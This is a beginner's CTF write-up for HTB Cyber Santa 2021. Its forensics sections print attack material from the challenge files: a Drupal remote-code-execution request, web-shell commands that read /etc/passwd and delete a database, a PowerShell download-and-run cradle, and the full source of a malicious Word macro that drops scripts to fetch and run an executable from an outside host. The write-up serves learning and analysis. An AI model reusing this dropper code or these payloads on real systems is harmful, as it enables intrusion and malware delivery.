---
description: >-
  This is my second CTF ever! And my humble attempt at creating a beginner
  friendly walkthrough :) ( This CTF is organized by Hack The Box from 1 Dec to
  5 Dec 2021 )
---

# HTB Cyber Santa CTF 2021

## Introduction

For this CTF organised by **HackTheBox - Cyber Santa 2021** -  I was really excited as this was my second time competing in a CTF. It was also fortunate that this event was individual, as I do not have a CTF team yet. Anyone interested in forming a team for CTFs in the future do comment and let me know! :)

**For this CTF, there were the usual 5 categories:**

* Forensics
* Reversing
* Pwn&#x20;
* Crypto
* Web

![Screenshot of the beautiful UI and challenges](https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2FlhIJXkdwyWqNDT4kViiZ%2Fimage.png?alt=media\&token=2022de02-325f-470e-8785-d09658df5c42)

Through the entire challenge I only managed to solve 5 myself:

* 0/5 Web : ( I have tried but got to admit I wasn't ready for web attacks, will be working more and releasing more content on this)
* 2/5 Forensics : Baby APT & Giveaway
* 1/5 Crypto : Common mistake&#x20;
* 1/5 Pwn : Mr Snowy&#x20;
* 1/5 Reversing : Infiltration

The sections below documents my exploits and walkthroughs for each of the solved challenges. I try to keep things short and simple to read, along with some learnings I picked up along the way. HTB did a really great job creating the challenges and integrating it with the storyline.

The rest of the challenges, I redid them in the after event with the help of walkthroughs from other people and took down my own notes for those. In no way do I claim credit for the scripts and such.

## 1. Forensics&#x20;

## Day 1 : baby APT

Challenge Info :&#x20;

This is the most wonderful time of the year, but not for Santa's incident response team. Since Santa went digital, everyone can write a letter to him using his brand new website. Apparently an APT group hacked their way in to Santa's server and destroyed his present list. Could you investigate what happened?

Given : wireshark pcap file

### - Walkthrough : Pure hard work for this

{% embed url="https://github.com/artyuum/Simple-PHP-Web-Shell/blob/master/index.php" %}
PHP Web shell used in this attack
{% endembed %}

Analyzing the main event flow:

1. SYN ACK usual requests
2. at packet 32 HTTP/1.1 200 OK we see the web page loaded (HTML page for Welcome to Christmas Wishlist)
3. attacker tried to register on a form

```
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: christmaswhishlist:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=idHTTP/1.1 200 OK
Date: Sat, 27 Nov 2021 10:30:40 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.3
Cache-Control: must-revalidate, no-cache, private
X-UA-Compatible: IE=edge
Content-language: en
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Vary: 
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Ajax-Token: 1
Content-Length: 209
Connection: close
Content-Type: application/json

[{"command":"insert","method":"replaceWith","selector":null,"data":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
```

After that some encrypted applicate data was sent via TLS Application data protocol : http-over-tls

Packet 64 : POST web shell via application form (user register form)

![](https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2FYoRZaKUHGktmhWUEXty8%2Fimage.png?alt=media\&token=419f3551-fc2e-4e71-8eab-b9f3d7742e5d)

Packet 74 : GET /bg.php HTTP/1.1 ( to activate webshell)

Packet 76 : Webshell confirmed&#x20;

Packet 133: Attacker tried to see "cat /etc/passwd" file using POST request

Packet 978 : groups

Packet 1024 : ls -al

Packet 1070 : View files on santa's web server

```
ls -al /var/www/html/sites/default/files
```

![](https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2F6vNQvZ0DfsmD7Q0982kx%2Fimage.png?alt=media\&token=d44281ef-2f66-4ba6-a13b-54c93ec04b01)

Packet 1132 : They destroyed his list (.ht.sqlite file) and put in a new one - config file or Advanced persistent threat etc.

```
Form item: "cmd" = "rm  /var/www/html/sites/default/files/.ht.sqlite 
&& echo SFRCezBrX24wd18zdjNyeTBuM19oNHNfdDBfZHIwcF8wZmZfdGgzaXJfbDN0dDNyc180dF90aDNfcDBzdF8wZmYxYzNfNGc0MW59 
> /dev/null 2>&1 
&& ls -al  /var/www/html/sites/default/files
```

{% hint style="info" %}
**2>&1 : direct errors to output**

File descriptor 1 is the standard output (`stdout`).\
File descriptor 2 is the standard error (`stderr`).

Here is one way to remember this construct (although it is not entirely accurate): at first, `2>1` may look like a good way to redirect `stderr` to `stdout`. However, it will actually be interpreted as "redirect `stderr` to a file named `1`". `&` indicates that what follows and precedes is a file descriptor and not a filename. So the construct becomes: `2>&1`.

Consider `>&` as redirect merger operator.

**I have no idea whats that long string**&#x20;
{% endhint %}



![Packet 135 - response to cat /etc/passwd](https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2FdCHIEiSClkmi5MhKnDxS%2Fimage.png?alt=media\&token=946a23cb-ccc7-40fb-b9c7-a5b2e6f32c79)

Notes :&#x20;

statistics> protocol hierachy > follow each protocol (plain text caught my eyes first)

* evidence of web shell being used on http://christmaswishlist:8080/bg.php, santa's wishlist website
* web shell seems to be from github/artyuum - basic PHP web shell

<img src="https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2FUER6U8VkOGArIVouWg7F%2Fimage.png?alt=media&#x26;token=ef5dd2d3-9734-438a-a505-e36bf27c6ede" alt="" data-size="original">

![](https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2FHFFZ6fyQNVx8xLr5R4XN%2Fimage.png?alt=media\&token=6ed70460-2b48-4b6a-987e-0533402c3d89)

**We get the flag from doing base 64 decode on the weird string:**

**Base64 encoded :** SFRCezBrX24wd18zdjNyeTBuM19oNHNfdDBfZHIwcF8wZmZfdGgzaXJfbDN0dDNyc180dF90aDNfcDBzdF8wZmYxYzNfNGc0MW59&#x20;

**Plain Text :**&#x20;

HTB{0k\_n0w\_3v3ry0n3\_h4s\_t0\_dr0p\_0ff\_th3ir\_l3tt3rs\_4t\_th3\_p0st\_0ff1c3\_4g41n}

## Day 2 : Honeypot

Given : honeypot data file presumably a memory dump

Credits to cryptocat, the following walkthrough is compiled from :

{% embed url="https://www.youtube.com/watch?t=2574s&v=deg0CQwwN-M" %}

### &#x20;- Volatility tool for memory dump analysis

```
Played around with some commands
// To get file info or OS info
>>> python vol.py -f honeypot.raw imageinfo
 you will see these Win7SP1x86_23418 for example

// to get command line commands
>>> python vol.py -f honeypot.raw --profile=Win7SP1x86_23418 cmdline 

//environmental variables
>>> python vol.py -f honeypot.raw --profile=Win7SP1x86_23418 envars

//ip addresses visited
netscan

//internet explorer history (windows 7)
iehistory
```

![cmdline flag example](https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2F19GLly8bpGLO8N4rnxmN%2Fimage.png?alt=media\&token=a29ee62d-5ce0-4172-ab2a-c5fc7172a0d9)

From the `cmdline` flag we see a line of interest :&#x20;

powershell.exe pid: 2700 Command line : "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /window hidden /e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHcAaQBuAGQAbwB3AHMAbABpAHYAZQB1AHAAZABhAHQAZQByAC4AYwBvAG0ALwB1AHAAZABhAHQAZQAuAHAAcwAxACcAKQApAA==

* definitely looks like base64 encoded, decoding with cyberchef we get this string :&#x20;

i.e.x. .(.(.n.e.w.-.o.b.j.e.c.t. .n.e.t...w.e.b.c.l.i.e.n.t.)...d.o.w.n.l.o.a.d.s.t.r.i.n.g.(.'.h.t.t.p.s.:././.w.i.n.d.o.w.s.l.i.v.e.u.p.d.a.t.e.r...c.o.m./.u.p.d.a.t.e...p.s.1.'.).).

* now we use `iehistory` to check for downloads

![](https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2Fb9Ckdh6elKwt3pYoiyj6%2Fimage.png?alt=media\&token=b1ab1af8-c42f-4abf-b71b-639dbfa0b620)

We get the only suspicious URL related to christmas, this must be it! &#x20;

_https://windowsliveupdater.com/christmas\_update.hta with a PID of 2700_

* now we use netscan to find the IP address, the last requirement :&#x20;

![netscan](https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2F9FOj14cdEYvQKTAnOIpf%2Fimage.png?alt=media\&token=203523ac-eb5f-433b-ae2d-7797ec174108)

Now we see a dead giveaway is the port 4444, commonly used for msfvenom payloads :

0x3ee98d80     TCPv4       10.0.2.15: 49229 (victim)    147.182.172.189:4444  (attacker's IP)     ESTABLISHED    -1&#x20;

### - The result

HTB{ht&#x74;_&#x70;s://windowsliveupdater.com/christmas\_update.hta\_2700\__&#x31;47.182.172.189}

* md5 the above in terminal and submit the hash

```bash
echo -n "https://windowsliveupdater.com/christmas_update.hta_2700_147.182.172.189" | md5sum     
969b934d7396d043a50a37b70e1e010a    
```

## Day 3 : Persistence

When malicious actors get into a target, they want to stay there af

## Day 4 : Giveaway



File given: Microsoft word 2007+ with macro enabled

Skill to learn revolved around malware analysis in macro enabled microsoft files, for this we use the tool **olevba.**

**This is a good example walkthrough on analyzing the macro of a malicious document.**

[**https://redcanary.com/blog/malicious-excel-macro/**](https://redcanary.com/blog/malicious-excel-macro/)

```
┌──(kali㉿kali)-[/mnt/…/HTB Cybersanta CTF/HTB Cyber Santa CTF_Dec2021/FORENSICS/forensics_giveaway (2)]
└─$ exiftool christmas_giveaway.docm 
ExifTool Version Number         : 12.32
File Name                       : christmas_giveaway.docm
Directory                       : .
File Size                       : 493 KiB
File Modification Date/Time     : 2021:12:01 08:23:04+08:00
File Access Date/Time           : 2021:12:05 21:06:31+08:00
File Inode Change Date/Time     : 2021:12:01 08:23:04+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DOCM
File Type Extension             : docm
MIME Type                       : application/vnd.ms-word.document.macroEnabled.12
Zip Required Version            : 20
Zip Bit Flag                    : 0x0006
Zip Compression                 : Deflated
Zip Modify Date                 : 1980:01:01 00:00:00
Zip CRC                         : 0x3f450766
Zip Compressed Size             : 399
Zip Uncompressed Size           : 1503
Zip File Name                   : [Content_Types].xml
Title                           : 
Subject                         : 
Creator                         : 
Keywords                        : 
Description                     : 
Last Modified By                : 
Revision Number                 : 1
Create Date                     : 2021:11:30 23:18:00Z
Modify Date                     : 2021:11:30 23:19:00Z
Template                        : Normal.dotm
Total Edit Time                 : 0
Pages                           : 1
Words                           : 0
Characters                      : 1
Application                     : Microsoft Office Word
Doc Security                    : None
Lines                           : 1
Paragraphs                      : 1
Scale Crop                      : No
Company                         : 
Links Up To Date                : No
Characters With Spaces          : 1
Shared Doc                      : No
Hyperlinks Changed              : No
App Version                     : 16.0000

```

{% embed url="https://github.com/decalage2/oletools" %}

{% embed url="https://github.com/decalage2/oletools/blob/master/cheatsheet/oletools_cheatsheet.pdf" %}

![](https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2FuJ1IwwMZj2bNBZ1ql28T%2Fimage.png?alt=media\&token=1ab0a382-088b-4722-9bb7-e7f138b541be)

### - Extract source code of the Macro using Olevba -c <.docm>

```
┌──(kali㉿kali)-[/mnt/…/Kali Shared Folder/HTB Cybersanta CTF/HTB Cyber Santa CTF_Dec2021/FORENSICS]
└─$ olevba -c christmas_giveaway.docm                          
olevba 0.60 on Python 3.9.7 - http://decalage.info/python/oletools
===============================================================================
FILE: christmas_giveaway.docm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub Auto_Open()
    h
End Sub
Sub h()
Dim MY_FILENDIR, MY_FILEDIR, MY_FILDIR, XPFILEDIR
     USER = Environ("username")
     PST1 = "adobeacd-update.p" + Chr(115) + "1"
     BART = "adobeacd-update.b" + Chr(Asc("a")) + Chr(Asc("t"))
     ASDSA = "kjlasdjkasldjkldasjkadsjklsajlksajklsdjkl"
     VBT1 = "adobeacd-update." + Chr(118) + "bs"
     VBTXP = "adobeacd-updatexp.v" + Chr(Asc("b")) + "s"
     

     MY_FILENDIR = "c:\" + Chr(Asc("U")) + "sers\" + USER + "\AppData\Local\Temp\" + PST1
     ASJDKHSJADASDSA = "jklasdjkdsajklsdajkljklsakjlsadjsdkjlsajkdlsajklsadjkladsljksad"
     MY_FILEDIR = "c:\" + Chr(Asc("U")) + "sers\" + USER + "\App" + Chr(Asc("D")) + "ata\Local\" + Chr(Asc("T")) + "emp\" + BART
     MY_FILDIR = "c:\Users\" + USER + "\AppData\Local\Temp\" + VBT1
     XPFILEDIR = "c:\Windows\Temp\" + VBTXP
     XPBARTFILEDIR = "c:\Windows\Temp\" + BART
     
      On Error Resume Next
     SetAttr MY_FILENDIR, vbNormal
     
     If (Len(Dir(MY_FILENDIR)) <> 0) Then
      Kill MY_FILENDIR
     End If
     
     On Error Resume Next
     SetAttr MY_FILEDIR, vbNormal
     If (Dir(MY_FILEDIR) <> "") Then
      Kill MY_FILEDIR
     End If
     
     On Error Resume Next
     SetAttr MY_FILDIR, vbNormal
     If (Dir(MY_FILDIR) <> "") Then
      Kill MY_FILDIR
     End If
     
     On Error Resume Next
     SetAttr XPFILEDIR, vbNormal
     If (Dir(XPFILEDIR) <> "") Then
      Kill XPFILEDIR
     End If
      
     Dim FileNumber As Integer
     Dim FileNumb As Integer
     Dim FileNu As Integer
     Dim mttt As Integer
     Dim retVal As Variant
     'Dim winver As Integer
     FileNumber = FreeFile
     FileNumb = FreeFile
     FileNu = FreeFile
     
     Dim objWMIService As Variant
    Dim colOperatingSystems As Variant
    Dim objOperatingSystem As Variant
    Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2")
    Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")
    For Each objOperatingSystem In colOperatingSystems
        SysReport = SysReport & "The operating system on this computer is " & _
            objOperatingSystem.Caption & "  (" & objOperatingSystem.Version & ")"
    Next
     
     Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2")
     Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem")
     For Each objOperatingSystem In colOperatingSystems
        winverstr = objOperatingSystem.Version
    Next
    
    
    winver = Val(winverstr)
    WaitFor (1)
     
     
If (winver > 5.5) Then
     Open MY_FILENDIR For Output As #FileNumber
     Print #FileNumber, "$hashroot = '94-4a-1e-86-99-69-dd-8a-4b-64-ca-5e-6e-bc-20-9a';"
     Print #FileNumber, "$hash = '0';"
     Print #FileNumber, "$down = N" & "ew" & "-" & Chr(79) & "bject " & Chr(Asc("S")) & "y" & "stem." & Chr(78) & "et." & Chr(87) & "eb" & "Cli" & "ent;"
     Print #FileNumber, "$url  = '" + Chr(Asc("h")) + Chr(Asc(Chr(Asc("t")))) + Chr(Asc("t")) + Chr(Asc("p")) + "://hiro-wish.com/js/bi" & "n.e" & "xe';"
     Print #FileNumber, "$file = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "4" & "44." + Chr(101) & "xe';"
     Print #FileNumber, "$down.headers[" + Chr(39) + "User-Agent" + Chr(39) + "] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25';"
     Print #FileNumber, "$down" & "." & Chr(68) & "ow" & "nloa" & "dFi" & "le($u" & "rl,$" & "file);"
     Print #FileNumber, "$ScriptDir = $MyInvocation.ScriptName;"
     Print #FileNumber, "$someFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "444.e" & Chr(Asc("x")) + "e" & "';"
     Print #FileNumber, "$vbsFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + VBT1 + "';"
     Print #FileNumber, "$batFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + BART + "';"
     Print #FileNumber, "$psFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + PST1 + "';"
     Print #FileNumber, "Start-Sleep -s 15;"
     Print #FileNumber, "c" & Chr(109) & "d.e" & Chr(120) & "e /c  'c:\Users\" + USER + "\AppData\Local\Temp" + "\444.e" & Chr(120) & "e';     "
     Print #FileNumber, "$file1 = gci $" + "v" + "b" + "sFilePath -Force"
     Print #FileNumber, "$file2 = gci $" + "b" + "a" + "t" + "FilePath -Force"
     Print #FileNumber, "$file3 = gci $" + "p" + "s" + "F" + "ilePath -Force"
     Print #FileNumber, "$file1.Attributes = $file1.Attributes -bxor [System.IO.FileAttributes]::Hi" + "d" + "den"
     Print #FileNumber, "$file2.Attributes = $file2.Attributes -bxor [System.IO.FileAttributes]::Hi" + "d" + "den"
     Print #FileNumber, "$file3.Attributes = $file3.Attributes -bxor [System.IO.FileAttributes]::Hi" + "d" + "den"
     Print #FileNumber, "If (Test-Path $vbsFilePath){ Remove-Item $vbsFilePath }"
     Print #FileNumber, "If (Test-Path $batFilePath){ Remove-Item $batFilePath }"
     Print #FileNumber, "If (Test-Path $someFilePath){ Remove-Item $someFilePath }"
     Print #FileNumber, "Remove-Item $MyINvocation.InvocationName"
     Close #FileNumber
    
    Open MY_FILDIR For Output As #FileNumb
    Print #FileNumb, "Dim dff"
    Print #FileNumb, "dff = 68"
    Print #FileNumb, "cur" & Chr(Asc("r")) & "ent" + Chr(Asc("D")) + "irectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))"
    Print #FileNumb, "S" & "et o" & "bj" & Chr(Asc("F")) & "SO=C" & "re" & "at" & "eO" & "b" & "je" & "ct(" & Chr(34) & "S" & "cr" & "ipt" & "ing.F" & "ileS" & "ystem" & "Ob" & "ject" & Chr(34) & ")"
    Print #FileNumb, "cur" + "rent" + Chr(Asc("F")) + "ile = " & Chr(34) & "C:\" & Chr(Asc("U")) & "sers\" + USER + "\AppData\Local\Temp" + "\" + PST1 + Chr(34)
    Print #FileNumb, "" & Chr(83) & "et " & Chr(111) & "bj" & Chr(83) & "hel" + Chr(Asc("l")) + " = Create" & Chr(79) & Chr(98) & "ject(" & Chr(34) & "W" & Chr(115) & "cript." & Chr(115) & "hell" & Chr(34) & ")"
    Print #FileNumb, "" & Chr(111) & "bj" & Chr(83) & "hell" & Chr(46) & Chr(82) & "un " & Chr(34) & "p" & Chr(111) & "wer" & Chr(83) & "hell.e" & Chr(120) & "e -n" & Chr(111) & "exit -Exe" & "cutionP" & Chr(111) & "licy" & " byp" & "ass -n" & Chr(111) & "pr" & Chr(111) & "file -file " & Chr(34) & " & currentFile,0,true"
    Close #FileNumb
    
    Open MY_FILEDIR For Output As #FileNu
    Print #FileNu, "@echo off"
    Print #FileNu, "ping 1.1.2.2 -n 2"
    Print #FileNu, "chcp 1251"
    Print #FileNu, "c" & "sc" & "ri" & "pt" & ".e" & Chr(120) & "e " & Chr(34) & "c:\Users\" + USER + "\AppData\Local\Temp" + "\" + VBT1 + Chr(34)
    Print #FileNu, "exit"
    Close #FileNu
       
    SetAttr MY_FILENDIR, vbNormal
    SetAttr MY_FILEDIR, vbNormal
    SetAttr MY_FILDIR, vbNormal
     
    WaitFor (1)
    
    retVal = Shell(MY_FILEDIR, 0)
End If

If (winver <= 5.5) Then
     Open XPBARTFILEDIR For Output As #FileNu
     Print #FileNu, "@echo off"
     Print #FileNu, "ping 1.1.2.2 -n 2"
     Print #FileNu, "c" & "sc" & "ri" & "pt" & ".e" & Chr(120) & "e " & Chr(34) & "c:\Windows\Temp" + "\" + VBTXP + Chr(34)
     Print #FileNu, "ping 1.1.2.2 -n 2"
     Print #FileNu, "c:\Windows\Temp\444.exe"
     Print #FileNu, ":loop"
     Print #FileNu, "ping 1.1.2.2 -n 1"
     Print #FileNu, "del " + Chr(34) + "c:\Windows\Temp\" + VBTXP + Chr(34)
     Print #FileNu, "del " + Chr(34) + "c:\Windows\Temp\" + BART + Chr(34)
     Print #FileNu, "if " + "exist " + Chr(34) + "c:\Windows\Temp\" + BART + Chr(34) + " goto loop"
     Print #FileNu, "if " + "exist " + Chr(34) + "c:\Windows\Temp\" + VBTXP + Chr(34) + " goto loop"
     Print #FileNu, "exit"
     Close #FileNu
     WaitFor (2)
     mttt = 88

     Dim strFileURL, HPkXUcxLcAoMHOlj, cxPZSGdIQDAdRVpziKf, fqtSMHFlkYeyLfs, ehPsgfAcWaYrJm, FVpHoEqBKnhPO As String

    HPkXUcxLcAoMHOlj = "https://elvesfactory/" & Chr(Asc("H")) & Chr(84) & Chr(Asc("B")) & "" & Chr(123) & "" & Chr(84) & Chr(Asc("h")) & "1" & Chr(125 - 10) & Chr(Asc("_")) & "1s" & Chr(95) & "4"
     cxPZSGdIQDAdRVpziKf = "_" & Replace("present", "e", "3") & Chr(85 + 10)
     fqtSMHFlkYeyLfs = Replace("everybody", "e", "3")
     fqtSMHFlkYeyLfs = Replace(fqtSMHFlkYeyLfs, "o", "0") & "_"
     ehPsgfAcWaYrJm = Chr(Asc("w")) & "4" & Chr(110) & "t" & Chr(115) & "_" & Chr(Asc("f")) & "0" & Chr(121 - 7) & Chr(95)
     FVpHoEqBKnhPO = Replace("christmas", "i", "1")
     FVpHoEqBKnhPO = Replace(FVpHoEqBKnhPO, "a", "4") & Chr(119 + 6)

     Open XPFILEDIR For Output As #FileNumber
     Print #FileNumber, "strRT = HPkXUcxLcAoMHOlj & cxPZSGdIQDAdRVpziKf & fqtSMHFlkYeyLfs & ehPsgfAcWaYrJm & FVpHoEqBKnhPO"
     Print #FileNumber, "strTecation = " + Chr(34) + "c:\" + Chr(Asc("W")) + "indows\" + Chr(Asc("T")) + "emp\44" + "4" + "." + Chr(Asc("e")) + Chr(Asc("x")) + "e" + Chr(34)
     
     Print #FileNumber, "Set objXML" + "H" + Chr(Asc("T")) + "TP = C" + "reate" + Chr(Asc("O")) + "bject(" + Chr(34) + "MSXML2." + Chr(mttt - 54) + Chr(mttt) + Chr(mttt - 11) + Chr(mttt - 12) + Chr(72) + Chr(84) + Chr(84) + Chr(80) + ")"
     Print #FileNumber, "objXMLHTTP.open " + Chr(34) + "GET" + Chr(34) + ", strRT, False"
     
     Print #FileNumber, "objXMLHTTP.send() "
     Print #FileNumber, "If objXMLHTTP.Status = 200 Then"
     
     Print #FileNumber, "Set objADOStream = CreateObject(" + Chr(34) + "ADODB.Stream" + Chr(34) + ") "
     
     Print #FileNumber, "objADOStream.Open "
     Print #FileNumber, "objADOStream.Type = 1"
     Print #FileNumber, "objADOStream.Write objXMLHTTP.ResponseBody "
     Print #FileNumber, "objADOStream.Position = 0 "
     Print #FileNumber, "objADOStream.SaveToFile strTecation "
     Print #FileNumber, "objADOStream.Close "
     Print #FileNumber, "Set objADOStream = Nothing "
     Print #FileNumber, "End if "
     Print #FileNumber, "Set objXMLHTTP = Nothing"
     Print #FileNumber, "Set objShell = CreateObject(" + Chr(34) + "WScript.Shell" + Chr(34) + ")"
     Close #FileNumber
     
     WaitFor (1)
     
     retVal = Shell(XPBARTFILEDIR, 0)
     
     
End If

     
     findTest
    secondTest
    For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "<" & "sel" & "ect>"
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange

    For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "</s" & "ele" & "ct>"
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange
    
    For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "<" & "in" & "box>"
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange

    For Each myStoryRange In ActiveDocument.StoryRanges
    With myStoryRange.Find
        .Text = "</" & "in" & "box>"
        .Replacement.Text = " "
        .Wrap = wdFindContinue
        .Execute Replace:=wdReplaceAll
    End With
    Next myStoryRange
     

End Sub
Sub WaitFor(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds

Do While Timer < SngSec
DoEvents
Loop

End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Sub findTest()
Dim firstTerm As String
Dim secondTerm As String
Dim rrtt As Range
Dim selRange As Range
Dim selectedText As String

Set rrtt = ActiveDocument.Range
firstTerm = "<se" & "lect>"
secondTerm = "</sel" & "ect>"
ASKASAIEJ = "ask as8d j vnbnfghfthfth sad"
With rrtt.Find
.Text = firstTerm
.MatchWholeWord = True
.Execute
ASKUKKIEJ = "aasdlkasjdask as8d j vnbnfghfthfth sad"
rrtt.Collapse direction:=wdCollapseEnd
Set selRange = ActiveDocument.Range
selRange.Start = rrtt.End
.Text = secondTerm
.MatchWholeWord = True
.Execute
ASKSASADW = "asjldklas"
rrtt.Collapse direction:=wdCollapseStart
selRange.End = rrtt.Start
selectedText = selRange.Delete
End With
End Sub

Sub secondTest()
Dim firstTerm As String
Dim secondTerm As String
Dim myRanget As Range
Dim yytt As Range
Dim selRanget As Range
Dim selectedTextt As String

Set yytt = ActiveDocument.Range
firstTerm = "<in" & "box>"
secondTerm = "</in" & "box>"
ASKIEJSASAHBDJ = "ask as8d j asdasl;a adfsdvsdgsdfsdf sad"
With yytt.Find
.Text = firstTerm
.MatchWholeWord = True
.Execute
ASKIEJ = "ask as8d j vnbnfghfthfth sad"
yytt.Collapse direction:=wdCollapseEnd
ASKIEJSHBDJ = "askasda as8d j asdaasdassl;a adfsdvsdgsdfsdf sad"
Set selRanget = ActiveDocument.Range
selRanget.Start = yytt.End
.Text = secondTerm
.MatchWholeWord = True
.Execute
ASAKJSKIEJSHBDJ = "ask as8d j asdaasdasdassl;a adfsdvsdgsdfsdf sad"
yytt.Collapse direction:=wdCollapseStart
selRanget.End = yytt.Start
selectedTextt = selRanget
selRanget.Font.Color = wdColorBlack
End With
End Sub

```

{% embed url="https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanDownloader%3AO97M%2FBartallex.A&threatid=2147691746" %}
We findut the main malware behind this macro
{% endembed %}

### &#x20;- Use VB Compiler to run the suspicious block code from VBA

For this I used VB Compiler

[https://www.onlinegdb.com/online\_vb\_compiler](https://www.onlinegdb.com/online_vb_compiler)

```c
Module VBModule
    Sub Main()
    Dim strFileURL, HPkXUcxLcAoMHOlj, cxPZSGdIQDAdRVpziKf, fqtSMHFlkYeyLfs, ehPsgfAcWaYrJm, FVpHoEqBKnhPO As String

    HPkXUcxLcAoMHOlj = "https://elvesfactory/" & Chr(Asc("H")) & Chr(84) & Chr(Asc("B")) & "" & Chr(123) & "" & Chr(84) & Chr(Asc("h")) & "1" & Chr(125 - 10) & Chr(Asc("_")) & "1s" & Chr(95) & "4"
     cxPZSGdIQDAdRVpziKf = "_" & Replace("present", "e", "3") & Chr(85 + 10)
     fqtSMHFlkYeyLfs = Replace("everybody", "e", "3")
     fqtSMHFlkYeyLfs = Replace(fqtSMHFlkYeyLfs, "o", "0") & "_"
     ehPsgfAcWaYrJm = Chr(Asc("w")) & "4" & Chr(110) & "t" & Chr(115) & "_" & Chr(Asc("f")) & "0" & Chr(121 - 7) & Chr(95)
     FVpHoEqBKnhPO = Replace("christmas", "i", "1")
     FVpHoEqBKnhPO = Replace(FVpHoEqBKnhPO, "a", "4") & Chr(119 + 6)

        Console.WriteLine(HPkXUcxLcAoMHOlj + cxPZSGdIQDAdRVpziKf + fqtSMHFlkYeyLfs + ehPsgfAcWaYrJm + FVpHoEqBKnhPO )
    End Sub
End Module

```

### &#x20;- The result

![The present for christmas :)](https://2068334946-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fow1iM27u7disHeJiSlBC%2Fuploads%2F0kRza4f0zYjn61aBiKsI%2Fimage.png?alt=media\&token=b2e2843c-734d-43c2-9e70-f2f39c79e73c)

## 2. Cryptography

**Challenge info :** Elves are trying very hard to communicate in perfect secrecy in order to keep Santa's warehouse. Unfortunately, their lack of knowledge about cryptography leads them to common mistakes.

Given : encrypted file with similar n , e1, e2, ct1 , ct2

Challenge file given shows values of n, e and ct (presumed to be cipher text, all in hexadecimal form). This challenge likely needs us to decipher RSA encryption using the given n and e, which are small (65537 and 35)

### Day 1 : Common modulus attack

* both n are same
* GCD of the two e is 1 ([http://www.alcula.com/calculators/math/gcd/#gsc.tab=0](http://www.alcula.com/calculators/math/gcd/#gsc.tab=0))
* GCD of C2 and n must be 1&#x20;
